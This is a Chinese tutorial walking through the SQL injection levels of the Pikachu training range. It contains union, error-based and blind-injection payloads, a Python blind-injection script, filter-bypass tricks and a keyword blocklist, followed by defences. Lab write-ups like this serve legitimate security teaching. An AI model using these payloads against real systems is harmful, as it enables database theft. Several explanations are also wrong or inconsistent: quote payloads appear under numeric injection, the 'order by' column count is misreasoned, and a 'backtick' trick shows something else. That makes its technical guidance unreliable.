Pikachu靶场SQL注入实战:从基础到高级绕过技巧
1. Pikachu靶场SQL注入实战与解题笔记
第一次接触Pikachu靶场是在去年的一次内部安全培训中,这个以宝可梦命名的漏洞演练平台让我印象深刻。作为Web安全入门必备的实战环境,Pikachu靶场通过精心设计的漏洞场景,帮助学习者理解SQL注入的攻击原理和防御方法。今天我就结合自己通关SQL注入关卡的完整过程,分享从基础注入到高级绕过的手记,特别适合刚接触Web安全的新手参考。
SQL注入(SQL-Inject)作为OWASP Top 10的常驻漏洞,本质是将恶意SQL代码插入到输入参数中,欺骗后端数据库执行非预期命令。在Pikachu靶场中,开发者模拟了不同类型的注入场景,包括GET/POST型注入、报错注入、布尔盲注和时间盲注等。通过这个靶场,不仅能学习攻击手法,更重要的是理解漏洞产生的根本原因,为后续代码审计和漏洞修复打下基础。
2. 环境准备与靶场搭建
2.1 Pikachu靶场部署要点
Pikachu靶场基于PHP+MySQL架构,推荐使用XAMPP或Docker快速部署。我选择在本地Windows环境通过XAMPP搭建:
- 从Pikachu官网下载最新release包(当前版本v2.0)
- 解压到XAMPP的htdocs目录下
- 访问http://localhost/pikachu-master完成初始化安装
注意:MySQL需要配置为5.5以上版本,PHP建议7.x,避免因版本兼容导致功能异常。安装后务必修改config.inc.php中的数据库连接信息。
2.2 靶场目录结构解析
了解靶场目录结构有助于后续漏洞分析:
/pikachu ├── /inc # 公共函数库 ├── /pkxss # XSS漏洞模块 ├── /pikachu # SQL注入模块(核心) │ ├── /sqli # 注入关卡目录 │ │ ├── /1 # 基础注入 │ │ ├── /2 # 报错注入 │ │ └── ... # 其他类型 ├── /install # 安装脚本 └── /README.md # 说明文档3. SQL注入基础通关详解
3.1 数字型注入(关卡1)
访问/pikachu/sqli/1/,这是一个简单的用户查询页面。通过URL参数id传递查询条件:
SELECT * FROM users WHERE id = $_GET['id']攻击步骤:
- 测试基础注入:
1' and '1'='1页面正常返回 - 确认注入点:
1' and '1'='2页面无数据 - 获取字段数:
1' order by 4--+测试到order by 3时报错,说明共3列 - 联合查询获取数据:
-1' union select 1,database(),user()--+
关键技巧:
- 使用
--+替代注释符(兼容URL编码) - 联合查询时前段条件置为负值或不存在值(如-1)
- information_schema库是MySQL的元数据库,存储所有表结构信息
3.2 字符型注入(关卡2)
与数字型不同,字符型注入需要处理引号闭合:
SELECT * FROM users WHERE username = '$_GET['name']'Payload构造:
admin' and 1=1--+ # 测试注入 ' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+注意:字符型注入必须闭合前端的引号,否则会导致SQL语法错误。遇到过滤时可尝试编码绕过。
4. 高级注入技巧实战
4.1 报错注入利用
当页面不返回查询数据但显示错误信息时,可利用报错注入:
1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+Pikachu靶场中提供了floor报错、updatexml报错等多种场景。关键是要理解:
- updatexml第二个参数需要符合XPath语法
- concat函数结合0x7e(~)产生非法字符触发报错
- extractvalue函数同样可利用
4.2 布尔盲注自动化
当页面只有"存在/不存在"两种状态时,需要逐字符判断:
import requests url = "http://localhost/pikachu/sqli/3/" result = "" for i in range(1,20): for j in range(32,127): payload = f"1' and ascii(substr(database(),{i},1))={j}--+" r = requests.get(url, params={"id":payload}) if "admin" in r.text: result += chr(j) print(result) break优化技巧:
- 使用二分查找法减少请求次数
- 结合正则匹配提高判断准确率
- 多线程加速爆破过程
5. 防御方案与代码审计
5.1 常见防御措施对比
| 防御方式 | 原理 | 优缺点 |
|---|---|---|
| 预处理语句 | SQL与参数分离 | 最有效,需改造代码 |
| 输入过滤 | 黑名单/白名单 | 易被绕过 |
| WAF防护 | 规则匹配拦截 | 存在误判 |
| 最小权限 | 限制数据库账号权限 | 需合理配置 |
5.2 Pikachu靶场源码分析
查看/pikachu/inc/function.php中的过滤函数:
function check_sql($str){ $filter = ['select','union','load_file','outfile']; foreach($filter as $v){ if(stripos($str,$v) !== false){ die('Hacker!'); } } return $str; }这种过滤存在明显缺陷:
- 未处理大小写变种(可用SeLeCt绕过)
- 未过滤注释符(如-- /*)
- 可使用编码绕过(如hex、char)
6. 实战中的疑难问题
6.1 过滤绕过技巧记录
- 等价替换:
and→&&,or→|| - 注释变形:
--+→#→/*xxx*/ - 函数替代:
substr→mid→left/right - 编码混淆:
0x61646d696e(admin的hex)
6.2 MySQL特性利用
- 利用
/**/替代空格绕过:union/**/select - 反引号处理关键字:
select→se%0alect - 字符串拼接:
concat('ad','min') - 利用
like进行模糊匹配
7. 拓展学习建议
完成Pikachu靶场后,建议继续挑战:
- DVWA(Damn Vulnerable Web Application)
- WebGoat(OWASP官方靶场)
- SQLi-Labs(专注SQL注入)
对于想深入理解SQL注入原理的同学,推荐阅读《SQL注入攻击与防御》和MySQL官方文档中关于预处理语句的章节。在实际渗透测试中,sqlmap是自动化检测的神器,但手动注入能力仍是安全工程师的基本功。
